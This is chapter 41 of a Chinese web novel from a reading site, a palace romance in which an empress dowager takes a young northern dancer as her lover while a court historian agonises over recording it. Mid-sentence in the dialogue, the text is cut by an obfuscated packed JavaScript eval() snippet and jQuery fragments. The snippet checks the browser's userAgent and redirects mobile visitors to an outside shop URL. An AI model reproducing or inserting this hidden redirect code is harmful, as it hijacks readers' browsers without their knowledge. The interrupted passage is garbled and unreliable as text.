默认冷灰
24号文字
方正启体

41. 面首(一)

作者:永宁火本书字数:K更新时间:
    娄庄姬并没有被他激情的言语感染,只是伸出一只柔软的、散发着香气的手。阿斯布日立刻像抓住救命稻草一样抓住了它,将它牵到自己的脸颊上。


    娄庄姬触碰到了他粗糙的皮肤和上面细小的绒毛。


    “阿斯布日,本宫并不缺少敬仰与爱慕,你要证明你跟别人不一样。”


    “我跟别人不一样。”


    “怎么说?”


    “别人只敢远远地瞻望您,而我想亲近您。”


    说着,他扭过头,在她的掌中央落下一个很痒的吻。娄庄姬的嘴角不自觉有了弧度,她的眉目也柔和了。


    莲蕴站在离二人不远不近的地方,手臂僵硬地垂在身旁,眼神一会儿看看太后,一会儿看看跪在地上的阿斯布日。


    娄庄姬让她先出去。


    阿斯布日的眼神充满了期待。他毛茸茸的脑袋蹭着她的手,很舒服。


    “你还不了解本宫。”她说。


    “只要您愿意赐予时间,让我慢慢了解。”


    北狄来的年轻英俊的舞者,成了太后心爱的面首,这是上阳宫的宫人们心照不宣的秘密。他们还是跟阿斯布日很和谐,在一起打趣玩闹,跟先前没有什么区别。只是他们心里有一种带着隐隐嫉妒的佩服,觉得他真是有手段。当太后和阿斯布日单独相处的时候,这些太监宫女们相视一笑,又是好奇又是羞涩。


    卢异后来又来了一次上阳宫。看见阿斯布日仍然没有离开,不仅如此,他还换上了梁朝的宫装,头上的小辫解开,挽起发髻,脚上不是靴子而是丝履,脸上敷了一层薄薄的粉,看起来像一个贵族少年。


    他斜倚在长廊的尽头,支起一条腿,正挥着小刀,专心致志地雕刻着一块木头。宫人路过他会弯腰行简单的礼,他也以点头回应。


    卢异拦住莲蕴,问道:


    “为何此人还在这里?”


    莲蕴瞟了一眼阿斯布日,道:


    “他现在可是太后的心尖宠儿,太后哪舍得放他走。”


    一个太监端着一盆兰花从他身后走过,怪笑道:


    “人家伺候太后比我们卖力,我们只敢在床下候着,他可是服侍到太后凤榻上了。”


    莲蕴瞪了他一眼,立即给了他一个耳光。


    “这种事是你能乱说的吗?管好你的嘴巴吧。”


    那太监连声求饶,跪在地上磕了几个头之后,莲蕴才放他去干活。卢异的表情早已阴云密布。这次之后,他不再殷勤地往上阳宫去了,而是把自己闷在家里,翻来覆去看娄国公留下的史书。


    娄国公笔力雄厚,他自觉不及,每次都要思虑半晌,在胸中反复修改后才敢落笔。他平日里做事待人从不谨慎,唯独对待治学著书不肯有丝毫马虎。即使这样,他也常忧心自己狗尾续貂,糟蹋了老先生的心血。


    公正是一件很困难的事情。他看狄平不爽,却还是得如实记录下他的才华与能力。他尊敬太后,而她做的恶事却必须得不偏不倚地记录下来。他只是记录,强忍着不作出任何评价,不夹带任何感情。


    现在,他在太后的传记里又要加上一条。


    “蓄面首于内宫。”


    流传到后世,这短短几个字就可以被解读出无限的内涵。至少□□的名声她是摘不掉了。卢异想,他应该把这一份初稿呈给她看,让她警惕史官的口诛笔伐。可是转念一想,她并不害怕这些,只能作罢。


    宫里有时颇为寂寞。


    他本来以为二人都是能耐住寂寞的人。如今看来,两个人都不是。


    他终究是一字未落,叹了口气,合上纸页,案前烛光扑闪,引来一只孱弱的飞蛾。


    府里的小厮敲了敲门,进来报告道,圣旨下来,齐谦已经的的确确被罢免了,现在已经启程,准备回江南老家去了。


    齐谦不愧他的诨名“棋钱”,虽然官职不大,可敛财的机会却是一个不落。富庶的蓝田县榨出的油水才堪堪填饱他的胃口。县里办事流程的每一个关口都被他打通,步步要交钱,处处要送礼。他虽然名义上是父母官,但说他是县里的蛀虫也不为过。


    可惜半年前,陪他为非作歹的唯唯诺诺的县令调走了,换了一个公正无私的清官。他还是保持着先前的作风,一下子就成了新上司眼中最刺眼的钉子。新县令也有手段,把请求罢免的奏折一路捅到了皇帝眼前。皇帝亲自做主,把齐谦贬回白身,还责问了他的老师,也就是卢异。卢异也救不了他,只能看他自己造化了。


    饯别时,卢异语重心长地告诉他,他不适合做官,回去好好经营家族产业,对朝廷有大功。齐谦不知有没有听进去。他只是一直灌酒,把自己涨得面红耳赤,然后怒骂他曾经的顶头上司,说他看起来道貌岸然,实则就是想把他赶走后,自己独占整个县的油水。卢异无可奈何,只能看着他耍酒疯,哭得一把鼻涕一把泪。


    “他的事就按下不提。神龙会的事情查得怎么样了?”


    “卧底的人已经派进去了,就等他递来消息。”


    卢异点点头。


    “他们最近没有什么动作吧?”


    “自从上次那一批兵器被缴获后,就没什么动静。”


    “他们若是一直收敛就好,就怕他们私底下谋划,而朝廷一无所知。继续查。”


    “是。”


    过了夏天,凉气也在京城渐渐蔓延开来。太后与阿斯布日的感情却是逐步升温。


    娄庄姬从镜子里看出,岁月的痕迹已经浮现在她的脸上,即使在脂粉的描摹下,她仍然美貌不减。可眼角分明已有淡淡的细纹,一卸下妆就能看见。


    阿斯布日见她对着镜子伤感,就会说道:


    “娘娘,您这样美的人还对着镜子唉声叹气,别人岂不是要对着镜子一头撞死?”“


    娄庄姬笑着回头,掐住他的脸,把他咧着的嘴扯歪。


    阿斯布日很年轻,从他饱满的脸庞、锐利的眼神和健硕的身体就能看出来。他的年轻是一种滋养,有他在,娄庄姬的笑靥也多了起来。嘴里不再整天念叨着各地收支、官员任免,有了玩笑和情话,本来干涸的眼睛,又变得如水波般荡漾。


    阿斯布日听话,从来不顶撞她,在她处理政事的时候,会默默退出去,凡是与国事相关的,一个字也不提。他话最多的时候,就是在夜晚柔软的床榻上,他跪坐在地,头依偎在她的膝盖上,当她抚摸他的头发时,他就会用温柔的语气讲述自己从北狄到京城一路的见闻。


    他的话语像一阵风,把人的思绪吹到好远的地方。


    娄庄姬告诉他,她也走过他所说的路。


    阿斯布日说,这是梁朝人所说的缘分,他正是因为走了与她同样的路才能来到她面前的。


    娄庄姬俯下身子问他,他的嘴里为什么有说不完的好听话,他怎么学会的巧言令色?


    阿斯布日只是咯咯地笑,说自己还有一箩筐的有趣的话没有说出来呢。


    “若是人人都像你这样会说话


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021224|193489||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就好了。可是有些人,偏偏就固执,不肯委屈自己迎合别人。”


    “我是因为诚心爱慕您,所以才极力希望您开心,若是我的话能让您心花怒放,我就知足了。”


    “你这样做很好,既让我开心,也没有委屈自己。你呀,心意有两分,能表达出十分。有些人,心意有十分,却只能表达出两分。空怀着满腔的爱,却不能叫心上人知道,到头来只剩下了折磨。”


    “我是您说的后者,我对您的爱有十分,表达的还远远不够呢。”


    娄庄姬摇头:“你不是后者,你哪里体会过那样折磨的滋味呢?”


    阿斯布日抬起头,问:“娘娘,您指的是谁?”


    娄庄姬把想说的那个名字咽了下去,道:“这样的人很多。包括本宫也是。”


    “娘娘,您一定不是这样的人。”


    “为什么?”


    “您爱我只有两分,却表现的有十分,骗得我对您如此死心塌地。”他深邃的眼睛注视着她。


    娄庄姬笑了,牵着他的手,让他坐到自己身边来。


    “本宫这辈子骗的人多了,何必对你施展这样小小的骗术?”


    “真的?”


    “本宫不说是不是真的,让你来猜,你就继续疑心吧。”


    阿斯布日佯装一副生气的表情,一头埋在她肩窝上。他薄薄的嘴唇不断地轻吻、啮咬着,就像一条小鱼在顽皮地啄着她的肌肤。


    娄庄姬一只手撑在床上,另一只手绕到他脑后,穿过他的头发,挠着他的后颈。两个人一起笑起来。良辰春宵,自是融融一片。


    虽是秋天,上阳宫自是一派春色满园。阿斯布日每天乐呵呵的。他只有一个疑问,为什么在太后这里从来看不到皇帝的身影?


    娄庄姬闻言,脸上的表情第一次变得有些复杂。只是淡淡地解释道,皇帝国事缠身,晨昏定省早就省了,有什么事,他们自会派人传话。言下之意,就是让他不要多问。阿斯布日察言观色是一把好手,自然领悟。


    他住的时间长了,宫人们都暗自好奇:他悉心侍奉,却不求个一官半爵,作为太后的面首,成天跟他们这帮太监宫女们一起聊天嬉戏。得了赏赐,也会分给他们,完全不吝惜财物。


    他们说,阿斯布日是个不一般的人。还有人说,他在等待机会,一次得一个大的赏赐,说不定凭借攀龙附凤,能讨到一个爵位。


    但也有人反驳:太后面首的事,只有上阳宫的人知道——顶多算上一个卢尚书。阿斯布日的身份见不得光,哪能要什么赏赐?


    谁知没过多久,太后借中秋宴席的机会,在宗亲的座位末尾给阿斯布日安排了一张小桌,将他的面首身份公之于众,引来众人侧目。


    皇帝没有说什么,只是冷冰冰地瞟了阿斯布日一眼,此后就当他不存在。宴后,他派冯盼春给上阳宫送了一件礼物——一道小型屏风。


    娄庄姬只是哼了一声,让人把屏风摆在床前。阿斯布日问为什么,她说,陛下警告我们,丑事要藏好,我们听他的吧。


    阿斯布日已经是炙手可热的人物了。可他还是什么都不要。众人的眼睛都盯着他,愤愤地想,作为一个卖笑的面首,装什么清高?


    阿斯布日不理睬别人,只是把整颗心都放在了娄庄姬身上,嘘寒问暖,一刻不歇。娄庄姬对他也愈发宠爱,二人几乎形影不离。


    所以,当他流下了进宫以来的第一滴眼泪时,第一个发现并询问的人,就是她。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)